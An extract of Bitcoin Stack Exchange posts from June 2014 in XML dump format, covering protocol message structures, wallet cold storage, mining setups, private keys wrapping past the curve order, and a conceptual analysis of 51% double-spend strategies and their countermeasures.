  <row Id="27013" PostTypeId="1" AcceptedAnswerId="28083" CreationDate="2014-06-17T12:40:34.200" Score="4" ViewCount="1474" Body="&lt;p&gt;I am reading the Bitcoin wiki, and I see the inv message structure. I see it has a counter field for the objects and an inventory field. This inventory field has a list of objects (transactions or blocks), and I do wonder what it sends to the neighbors as to check if they have the transaction or block relayed. For example, is the block sent with its hash or with an id?&lt;/p&gt;&#xA;" OwnerUserId="10246" LastEditorUserId="47827" LastEditDate="2022-08-08T18:33:42.373" LastActivityDate="2022-08-08T18:33:42.373" Title="Inv message structure" Tags="|protocol|p2p|message|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27014" PostTypeId="5" CreationDate="2014-06-17T12:49:47.223" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-06-17T12:49:47.223" LastActivityDate="2014-06-17T12:49:47.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27015" PostTypeId="4" CreationDate="2014-06-17T12:49:47.223" Score="0" Body="Sending bitcoin to a valid address for which no private key is currently known and become unattainable." OwnerUserId="15412" LastEditorUserId="15412" LastEditDate="2014-06-17T13:03:44.073" LastActivityDate="2014-06-17T13:03:44.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27016" PostTypeId="2" ParentId="924" CreationDate="2014-06-17T13:25:52.247" Score="0" Body="&lt;p&gt;Search for &quot;Proof of Burn&quot;. This article has a lot of good stuff: &lt;a href=&quot;https://en.bitcoin.it/wiki/Proof_of_burn&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Proof_of_burn&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18268" LastActivityDate="2014-06-17T13:25:52.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27017" PostTypeId="5" CreationDate="2014-06-17T14:25:51.793" Score="0" Body="&lt;p&gt;DO NOT USE. Removed as part of the &lt;a href=&quot;http://meta.bitcoin.stackexchange.com/q/513/5406&quot;&gt;Weeding out bad Tags Initiative 2014&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-06-17T14:25:51.793" LastActivityDate="2014-06-17T14:25:51.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27018" PostTypeId="4" CreationDate="2014-06-17T14:25:51.793" Score="0" Body="DO NOT USE. Removed as part of the &quot;Weeding out bad Tags Initiative 2014&quot;. See link in Tag Wiki for more information. Type 6: Tag that mean different things in different topics.&#xD;&#xA;&#xD;&#xA;Please replace it with a more descriptive tag such as  •lost-bitcoins, •lost-wallet, •lost-private-key, or •shrinking-money-supply." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-06-17T14:25:51.793" LastActivityDate="2014-06-17T14:25:51.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27019" PostTypeId="5" CreationDate="2014-06-17T14:38:58.410" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-06-17T14:38:58.410" LastActivityDate="2014-06-17T14:38:58.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27020" PostTypeId="4" CreationDate="2014-06-17T14:38:58.410" Score="0" Body="Concerned with questions about the decreasing size of the total money supply in Bitcoin and altcoins through lost wallets and private keys." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-06-17T14:38:58.410" LastActivityDate="2014-06-17T14:38:58.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27021" PostTypeId="2" ParentId="26981" CreationDate="2014-06-17T15:25:04.417" Score="1" Body="&lt;p&gt;I think that you should use pooler's &lt;strong&gt;&lt;a href=&quot;https://github.com/pooler/cpuminer&quot; rel=&quot;nofollow&quot;&gt;cpuminer&lt;/a&gt;&lt;/strong&gt; instead. cpuminer is optimized for CPU mining  and cgminer 3.7.2 can only mine scrypt coin using GPU (and you can't use RasPi GPU for mining coin)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But even if you use cpuminer you can squeeze out only 0.4-0.5khash/s &lt;strong&gt;with overclocking&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tutorial if you want: &lt;a href=&quot;http://www.tekassassin.com/2013/06/litecoin-mining-on-raspberry-pi.html&quot; rel=&quot;nofollow&quot;&gt;http://www.tekassassin.com/2013/06/litecoin-mining-on-raspberry-pi.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4982" LastActivityDate="2014-06-17T15:25:04.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27023" PostTypeId="2" ParentId="27007" CreationDate="2014-06-17T15:53:21.333" Score="1" Body="&lt;p&gt;Pre-signed transactions won't work the way you want due to how Ripple uses a simple sequence number. The only downside to doing small transactions via Ripple is the 0.000010 XRP transaction fee and the 2-20 seconds (or so) delay between signed ledgers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally a merchant generates the payment information. E.g. &quot;send 1 USD to account A, destination tag 123 (any 32 bit number), invoice ID 0x12345678 (256 bits of data)&quot;, often this would be with a &lt;a href=&quot;https://ripple.com/wiki/Ripple_URI&quot; rel=&quot;nofollow&quot;&gt;Ripple URI&lt;/a&gt; (note that page doesn't document how or if an invoice id can be specified in a Ripple URI). The customer then selects the URI and is taken to the send page in their configured client (currently now always ripple.com/client) with all that information pre-filled in. The merchant then listens on their connection to a Ripple server (either local or remote) for information on payments to their account and uses the destination tag and/or invoice id to update payment status for individual customers or invoices. Normally merchants should handle the possibilities of one invoice being paid via multiple transactions and overpayments or the like as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could have the customer provide the transaction hash(es) as you suggest, but that's not normally done and is usually more work for the customer for no reason.&lt;/p&gt;&#xA;" OwnerUserId="3364" LastEditorUserId="3364" LastEditDate="2014-06-18T16:23:10.733" LastActivityDate="2014-06-18T16:23:10.733" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27024" PostTypeId="1" CreationDate="2014-06-17T16:23:54.343" Score="2" ViewCount="68" Body="&lt;p&gt;I recently just installed the Electrum client and I have a couple questions.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Is a new address generated in the receiving addresses each time a transaction is made? It sounds like that in the documentation.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I was just testing the gap limit settings, and I lowered it to the default and now there is an address with a red line. How can I remove this address?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is it possible to manually create a new address? Or do I just raise the gap limit?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I've used Google to look for some answers, but I am still very confused. Thank you for your input :)&lt;/p&gt;&#xA;" OwnerUserId="18272" LastActivityDate="2014-06-17T16:23:54.343" Title="Questions about Electrum" Tags="|wallet|electrum|" AnswerCount="0" CommentCount="2" ClosedDate="2014-06-17T21:21:08.277" ContentLicense="CC BY-SA 3.0" />
  <row Id="27025" PostTypeId="2" ParentId="20219" CreationDate="2014-06-17T21:26:59.660" Score="0" Body="&lt;p&gt;The only advantage to shifting miners from using a centralized pool to P2P pools is that it may spread out the hashing power across multiple independent groups - balkanization of the hash compute power. This doesn't solve the problem, it just disrupts it slightly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A P2P pool is still a collective effort working together as a single block mining entity.  There may not be a central server involved in a P2P pool, but the pool is still collecting transactions and creating a block to add to the blockchain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a P2P pool is large enough to produce 51% of the global network hash output, the pool would have the same potential to disrupt blockchain transactions as any other pool - if someone with malicious intent were able to gain control of the block creation process. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, while a P2P pool might change where the block is created (central vs super node vs any node) and therefore the point of attack, shifting everyone from GHash to &lt;em&gt;one&lt;/em&gt; P2P pool won't change the 51% threat.&lt;/p&gt;&#xA;" OwnerUserId="4424" LastActivityDate="2014-06-17T21:26:59.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27026" PostTypeId="2" ParentId="26999" CreationDate="2014-06-17T23:39:52.653" Score="3" Body="&lt;p&gt;I have tried to quantify under what circumstances a 51% attack can and can't be done in the comments to a sister answer, and a couple of people pulled me up on the mathematical ins and outs. So I thought I would write this down exactly, at best I will answer the question slightly more precisely than has been done, and at worst I will make it easier for someone to point out to me exactly where I am going wrong.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Suppose that you control around half of the computing power on the network, and that you want to attack the network. There are essentially two ways you can go about this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You can withdraw all your computing power from the uncorrupted blockchain, and dedicate it to your attack.&lt;/li&gt;&#xA;&lt;li&gt;You can continue to apparently participate in normal hashing, and try to reach a situation which you can exploit.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Let us first discuss the mechanics of these, and then look at the mathematics:&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Strategy 1&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Suppose that there is some transaction(s) which you can profit by removing from or adding to the blockchain, and you don't care whether anyone notices that you are preparing an attack. To make life easy, say it's a single transaction with a counterparty called Bob, and that you want to remove it. Let's assume that the transaction has to be confirmed N times on the legitimate chain before you are ready to attack (for example, you had to wait for N confirmations before being paid fiat in exchange for a coin transfer).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create an alternative chain, which will be accepted as the longest chain, you have to go back N blocks, add a new block with your modification, and then add blocks to the forked chain, until it is longer than the legit chain. It will take you O(N^2) blocks to do this. While you are doing this, you either publish each block of the forked chain, thereby making the whole network aware of the fork (call it case 1.a), or you stop publishing any blocks at all, letting everyone know that you have withdrawn your resources from hashing (call it case 1.b).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;1.a - Strategy 1 with publishing&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As soon as you have done this, you lay yourself open to countermeasures - before you get to the right number of blocks. In case 1.a, the fork will be studied by other actors on the network. People will try and resolve the fork as quickly as possible if it is unintentional, and to detect which side is malicious if it is not. (Short unintentional forks have been resolved in the past by agreement between the major pools.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, Bob is obviously going to point to the (probably large) transaction which isn't in your chain, and of course you can equally point to it as a fraudulent transaction inserted by Bob and his evil cohorts. However, he has the fact that it featured in N transactions seen before anyone was aware of any fork on his side. It will hard for you to explain why it doesn't appear in &lt;em&gt;any&lt;/em&gt; block on your chain - a lot of the network must have seen it, and since the fork is O(N^2) blocks long, the excuse that it hadn't yet reached you won't wash. (A less sophisticated attack whose object is to destroy Bitcoin, where you for instance pay yourself everyone's money, using this strategy, will completely fail at this point.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once enough people recognize your side of the fork as the corrupt one, they simply 'checkpoint' a block on the other side, maybe the one which first includes the transaction with Bob. This means that that block will be treated as the root of the chain. This is already done occasionally when client software is updated, to reduce the amount of checking a client needs to do. The effect will be that Bitcoin itself forks, with people who accept your chain using a different ledger from those who reject your chain regardless of length. This can be done essentially immediately for pools, and pretty quickly for other clients, although they might suffer downtime until it's resolved. As long as everyone quickly moves over to rejecting your chain, you have control of a worthless currency Bitcoin A, while Bitcoin B keeps its value by still being accepted among the rest of the community (in theory - in practice many of them might be put off by the general uncertainty and start using some other currency).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;1.b - Strategy 1 in secret&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;What if you adopt strategy 1.b, and keep your fork secret until it's long enough to beat the 'correct' chain? Presumably, lots of people notice that your hashing power isn't around anymore. This is probably going to worry them, and they will try to do something about it. The most straightforward response is again, to 'checkpoint' a block. Depending on what N could reasonably be expected to be, they will have some idea of N^2, and how long it will take you to catch up. They need to checkpoint blocks which everyone (except you) is happy with, frequently enough to keep foiling your presumed attack. If you want to keep on attacking, you have to generate a new transaction and start from square one every time they do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, the community wants to checkpoint blocks which are a bit more than N blocks old, so that everyone has time to make sure they agree with the transactions in that block, and definitely doesn't want to wait until close to N^2 blocks; in case you get a winning chain and start publishing it before the checkpoint. Since N^2 is a lot bigger than N, there is a lot of scope for doing this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the failure of this strategy relies on you being missed from the mining. If some attacker has a secret mining pool which no-one is aware of and which is roughly equal in size to all existing mining, they can succeed with this attack. (Call it a 101% attack.)&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Strategy 2&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In strategy 2., you attack the chain, but try to 'keep up appearances' of being non-malicious until your attack has succeeded. The way you do this is to try and overtake the legitimate chain, before anyone has noticed your absence. If you have (roughly) half the power, every other new block on average will be yours, but there could be long runs of only your blocks or only ones which aren't yours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you do is, once you have published yours and Bob's transaction, you try to create N+1 blocks, in the same time that the rest of the network creates N. You keep all these secret until the other miners have mined N blocks, and Bob has handed over the cocaine or the Leonardo cartoon or whatever, and then you publish all N+1 of them, making your chain the longest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't manage to get to N+1 before the rest of the network gets to N, you throw your attempt away, and go back to hashing the proper chain. You wait a while, then arrange another transaction with Bob, and try again. The amount of time you have to wait depends on how unlikely it is that N blocks in a row should be mined, none of them by you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A couple of points about this method. First of all, whereas in 1.a you would have had to justify your forked blocks to the rest of the network, and therefore you had an incentive to make your changes as plausible as possible, here you can do any changes you like - even paying yourself all the Bitcoin which exist. No-one will see the bogus transactions until it's too late.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What this really means is that you don't need a dupe Bob, who is happy to keep handing over non-Bitcoin assets after a small number of confirmations, &lt;em&gt;provided&lt;/em&gt; you are happy to get paid in Bitcoin. If you want to sabotage the currency, you can do so, and are in fact free to pick N as any number small enough that you won't arouse suspicion that you are doing strategy 1.b. If you only want the Bitcoin to buy fiat or to pay a ransom, you have to stick to Bob's N. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, there is a trade-off between how suspicious your behavior is and how many times you have to try. If you have far more than 50%, long sequences of blocks without any mined by you will be more suspicious, and you might have to hash a couple of blocks on the regular chain to keep things looking normal. If you have close to 50%, it will seem less suspicious, but it will be harder for you to win the race to N+1. Of course making N bigger helps prevent this attack in either case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thirdly, here too having lots of secret power could help you, by winning you the race, while making it less obvious that you are hashing on your fork rather than the correct chain. You might try and judge how worthwhile it is to keep secret hashing capacity around ready to attack, rather than use it to get paid honestly.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Mathematical analysis&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I accept what some people have said, that having just over or just under 50% makes the different between definitely succeeding eventually with 1.a or 1.b, and only succeeding ever with a small probability. This follows not from the weak Law of Large Numbers, but from the recurrence property of 1-d random walks (a difference between the two is that the latter is applicable even if you had exactly a constant 50%). However, I believe I have argued that it is not good enough to succeed &lt;em&gt;eventually&lt;/em&gt; - the O(N^2) time it will take you (which comes from the Central Limit Theorem) should mean that your attack is usually prevented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, providing that you have close to 50%, you should be able to succeed with strategy 2., regardless of whether you have just over or just under. Of course higher proportions and lower N will help you, but the effects are now smaller - if you have 1/2 - h, for h small and positive, your chances will be 1/2 - O(h / sqrt(N)). The Central Limit Theorem works in the opposite direction - even with a coin slightly biased against you, it's not unlikely that you should win a short race by a single toss.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also be doing various simple things like only starting an attack if you get the first block before the rest of the miners, or only if you get the first two blocks, etc. Whether this is a good idea, and how exactly to tune this attack depends on how suspicious people are and/or how obliging Bob is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are out for destruction, you can optimize N to your own capacity - if you have under 50%, you are much better at winning short races than long ones.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Conclusion&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;First of all you should be using as many confirmations as you can afford to, if you think your transaction might be the one that incentivizes GHash.io to go rogue. Secondly there need to be people out there looking for unusual patterns of mining activity, especially big miners disappearing from the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, be warned that wanton destruction of Bitcoin is already very possible below 50% concentration, and that any kind of attack could easily happen if someone has large and secret reserves of power (this applies to many altcoins if their proof-of-work can be done efficiently on Bitcoin hardware).&lt;/p&gt;&#xA;" OwnerUserId="18266" LastEditorUserId="18266" LastEditDate="2014-06-18T08:39:46.533" LastActivityDate="2014-06-18T08:39:46.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27027" PostTypeId="2" ParentId="25069" CreationDate="2014-06-18T00:21:35.150" Score="2" Body="&lt;p&gt;private keys above the group order have the same addresses as the keys starting at 0.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000000000000000000000000000000000000000000000000000000000000000 fffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141  1MsHWS1BnwMc3tLE8G35UXsS58fKipzB7a&#xA;0000000000000000000000000000000000000000000000000000000000000001 fffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364142  1EHNa6Q4Jz2uvNExL497mE43ikXhwF6kZm&#xA;0000000000000000000000000000000000000000000000000000000000000002 fffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364143  1LagHJk2FyCV2VzrNHVqg3gYG4TSYwDV4m&#xA;0000000000000000000000000000000000000000000000000000000000000003 fffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364144  1NZUP3JAc9JkmbvmoTv7nVgZGtyJjirKV1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;000000000000000000000000000000014551231950b75fc4402da1732fc9bebb fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc  1HtRa3HaTfX4eDrTzkZWfnLD9cZAyhMDEd&#xA;000000000000000000000000000000014551231950b75fc4402da1732fc9bebc fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffd  1FvN1jJU6kQCub9nQFuJhdfixpBdngxLme&#xA;000000000000000000000000000000014551231950b75fc4402da1732fc9bebd fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe  1JHzdjEL4xQ7yifAaQQKAfqPyAN92vfstP&#xA;000000000000000000000000000000014551231950b75fc4402da1732fc9bebe ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff  12M4QznuNZH2BRVbLK8SKvNqGTPJpCpST7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13163" LastActivityDate="2014-06-18T00:21:35.150" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27028" PostTypeId="1" CreationDate="2014-06-18T01:54:01.730" Score="1" ViewCount="170" Body="&lt;p&gt;I am interested in the process of buying bitcoins, but I have many questions. First and foremost, how do I begin this process? I am looking to make my bitcoin wallet as secure as possible, so how would I go about doing that? How would I incorporate the process of buying bitcoins with Tor?&lt;/p&gt;&#xA;" OwnerUserId="18276" LastEditorUserId="15412" LastEditDate="2014-06-18T12:42:59.550" LastActivityDate="2023-09-07T12:45:18.187" Title="Beginning the process of buying bitcoins" Tags="|buy-bitcoins|privacy|coldstorage|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27029" PostTypeId="2" ParentId="27028" CreationDate="2014-06-18T06:30:27.127" Score="1" Body="&lt;p&gt;If you want your wallet to be as safe as possible, you'll have to store it &lt;em&gt;cold&lt;/em&gt;, i.e. create a &lt;a href=&quot;https://en.bitcoin.it/wiki/Paper_wallet&quot; rel=&quot;nofollow&quot;&gt;Paper Wallet&lt;/a&gt;. There a several options with different safety levels:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use an online generator, like &lt;a href=&quot;http://www.bitaddress.org&quot; rel=&quot;nofollow&quot;&gt;Bitaddress&lt;/a&gt; and print the generated address/key&lt;/li&gt;&#xA;&lt;li&gt;Use an offline computer with a ubuntu-live cd to generate address/key and print it&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can send bitcoins to this wallet, even though it's created offline, and never has seen the internet, or vice versa. For further reading about this, I recommend the first link, as there are some recommendations you should read first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Buying bitcoins with Tor is a little more complicated. I never did it, and couldn't find anything about it. &lt;a href=&quot;https://www.privateinternetaccess.com/blog/2012/04/how-to-buy-bitcoins-anonymously-in-the-us-instantly/&quot; rel=&quot;nofollow&quot;&gt;PrivateInternetAcces&lt;/a&gt; said &lt;a href=&quot;http://www.bitinstant.com/&quot; rel=&quot;nofollow&quot;&gt;Bitinstant&lt;/a&gt; was a good option, but the article is 2 years old, and bitinstant returns a white page. A local trade is a good option, find some people on &lt;a href=&quot;https://localbitcoins.com/&quot; rel=&quot;nofollow&quot;&gt;LocalBitcoins&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15412" LastActivityDate="2014-06-18T06:30:27.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27031" PostTypeId="1" CreationDate="2014-06-18T12:27:06.557" Score="5" ViewCount="573" Body="&lt;p&gt;Here is the method I plan to use for creating a cold storage. I am very new to all this, and have never used Bitcoin before. I am not very technical either. Anyway, here it is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a live-cd with Ubuntu (on a DVD, not install anything on the hard-drive, I assume everything will be deleted once I turn off the system).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Install &lt;a href=&quot;https://en.wikipedia.org/wiki/Armory_%28software%29&quot; rel=&quot;nofollow&quot;&gt;Armory&lt;/a&gt; on Ubuntu, create an encrypted wallet using the client (encryption just in case the wallet files does not delete for some reason when I turn off the OS). I write down the encryption key on paper.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Generate an address for receiving bitcoin, write down the private and public key on paper.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Generate a paper backup for my Armory wallet, write down the root-code to this on a paper using the &quot;create paper backup&quot; feature of Armory.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If I ever want to send any bitcoins from my wallet and address I delete the wallet and address later. I only send bitcoins by generating a send signature using an Armory offline wallet that is temporary installed on a live CD, and activate the send signature with a &quot;watch only&quot; online wallet. The offline-wallet will never and have never touched the Internet.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This way I should be able to always have access to receive and send my bitcoins if I still have the paper where I wrote down wallet encryption key, bitcoin addresses and wallet root code, and don't have to worry about data corruption or other hardware/software problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a safe method? I plan to put about US$10000 in Bitcoins in cold storage now, but I just want to hear what you think about it before :) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for beeing a noob to this. I have read about generating codes offline using bitaddress.org as an HTML file, but I have not heard from enough people checking their code to see if the &quot;random addresses&quot; is pre-generated by some way and not as &quot;random&quot; as one might think.&lt;/p&gt;&#xA;" OwnerUserId="18282" LastEditorUserId="1405" LastEditDate="2014-08-22T11:51:34.573" LastActivityDate="2014-08-22T11:51:45.713" Title="Is this a safe method for cold storage?" Tags="|wallet|paper-wallet|coldstorage|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27032" PostTypeId="2" ParentId="27031" CreationDate="2014-06-18T14:52:32.893" Score="3" Body="&lt;p&gt;It sounds like a lot of hassle to send bitcoins because you have to re-install you offline armory each time. Also, the fact you're trying to do it on a live CD tells me you likely don't have an air-gapped machine. If you think your wallet won't &quot;touch the Internet&quot; in such a case, think root-kit. I would advise against this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, get a cheap &lt;a href=&quot;http://en.wikipedia.org/wiki/Raspberry_Pi&quot; rel=&quot;nofollow&quot;&gt;Raspberry Pi&lt;/a&gt; (disable the Ethernet) and use that as your offline wallet. If you encrypt the wallet and generate your paper backup, your coins will be very safe, (provided you don't lose your paper backup) and will be less of a headache to access your funds.  &lt;/p&gt;&#xA;" OwnerUserId="18285" LastEditorUserId="1405" LastEditDate="2014-08-22T11:51:45.713" LastActivityDate="2014-08-22T11:51:45.713" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27033" PostTypeId="2" ParentId="11537" CreationDate="2014-06-18T15:00:42.487" Score="0" Body="&lt;p&gt;Nobody else is saying it so far. So I will:  It it sounds like you got hacked.&#xA;Somebody or something copied your wallet.dat file and encrypted it before you had a chance to.  Now they control the funds and not you.    &lt;/p&gt;&#xA;" OwnerUserId="18285" LastActivityDate="2014-06-18T15:00:42.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27034" PostTypeId="1" CreationDate="2014-06-18T18:26:14.277" Score="3" ViewCount="600" Body="&lt;p&gt;My question is if getaddr consists of message header and if it has some payload, possibly an addr_recv and addr_from like version message. Wiki is pretty basic on this spot.&lt;/p&gt;&#xA;" OwnerUserId="10246" LastActivityDate="2014-06-19T00:36:49.070" Title="GetAddr message structure" Tags="|message|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27036" PostTypeId="1" CreationDate="2014-06-18T20:34:54.030" Score="4" ViewCount="2105" Body="&lt;p&gt;mmpool.org mines these SHA256 PoW coins:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bitcoin&lt;/li&gt;&#xA;&lt;li&gt;Namecoin&lt;/li&gt;&#xA;&lt;li&gt;Ixcoin&lt;/li&gt;&#xA;&lt;li&gt;Devcoin&lt;/li&gt;&#xA;&lt;li&gt;I0coin&lt;/li&gt;&#xA;&lt;li&gt;Groupcoin&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Merged_mining_specification&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Merged_mining_specification&lt;/a&gt; claims that it is only used by Namecoin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a complete list of merge-mineable SHA256 and/or Scrypt based PoW coins available?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is anyone willing to compile one?&lt;/p&gt;&#xA;" OwnerUserId="18289" LastEditorUserId="5406" LastEditDate="2016-01-22T22:29:47.767" LastActivityDate="2018-09-22T00:04:32.683" Title="Complete list of merged mineable coins? SHA256 + Scrypt" Tags="|altcoin|namecoin|merged-mining|" AnswerCount="0" CommentCount="3" ClosedDate="2019-07-17T17:21:45.153" ContentLicense="CC BY-SA 3.0" />
  <row Id="27037" PostTypeId="2" ParentId="27034" CreationDate="2014-06-19T00:25:15.623" Score="2" Body="&lt;p&gt;It isnt clear what exactly you're asking, but wiki is pretty clear on the structure of the response to a getaddr message. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#getaddr&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Protocol_specification#getaddr&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The response to receiving this message is to transmit one or more addr messages with one&#xA;or more peers from a database of known active peers.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the payload of the response will be a bunch of addrs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#addr&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Protocol_specification#addr&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Provide information on known nodes of the network. Non-advertised nodes should be forgotten&#xA;after typically 3 hours&#xA;&#xA;Payload:&#xA;Field Size  Description     Data type               Comments&#xA;1+          count           var_int                 Number of address entries (max: 1000)&#xA;30x?        addr_list       (uint32_t + net_addr)[] Address of other nodes on the network.&#xA;                                                    version &amp;lt; 209 will only read the first&#xA;                                                    one. The uint32_t is a timestamp (see&#xA;                                                    note below).&#xA;Note: Starting version 31402, addresses are prefixed with a timestamp. If no timestamp is&#xA;present, the addresses should not be relayed to other peers, unless it is indeed confirmed&#xA;they are up. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And it even provides sample data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Payload:&#xA;01                                              - 1 address in this message&#xA;Address:&#xA;E2 15 10 4D                                     - Mon Dec 20 21:50:10 EST 2010 (only when version is &amp;gt;= 31402)&#xA;01 00 00 00 00 00 00 00                         - 1 (NODE_NETWORK service - see version message)&#xA;00 00 00 00 00 00 00 00 00 00 FF FF 0A 00 00 01 - IPv4: 10.0.0.1, IPv6: ::ffff:10.0.0.1 (IPv4-mapped IPv6 address)&#xA;20 8D                                           - port 8333&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15695" LastEditorUserId="15695" LastEditDate="2014-06-19T00:36:49.070" 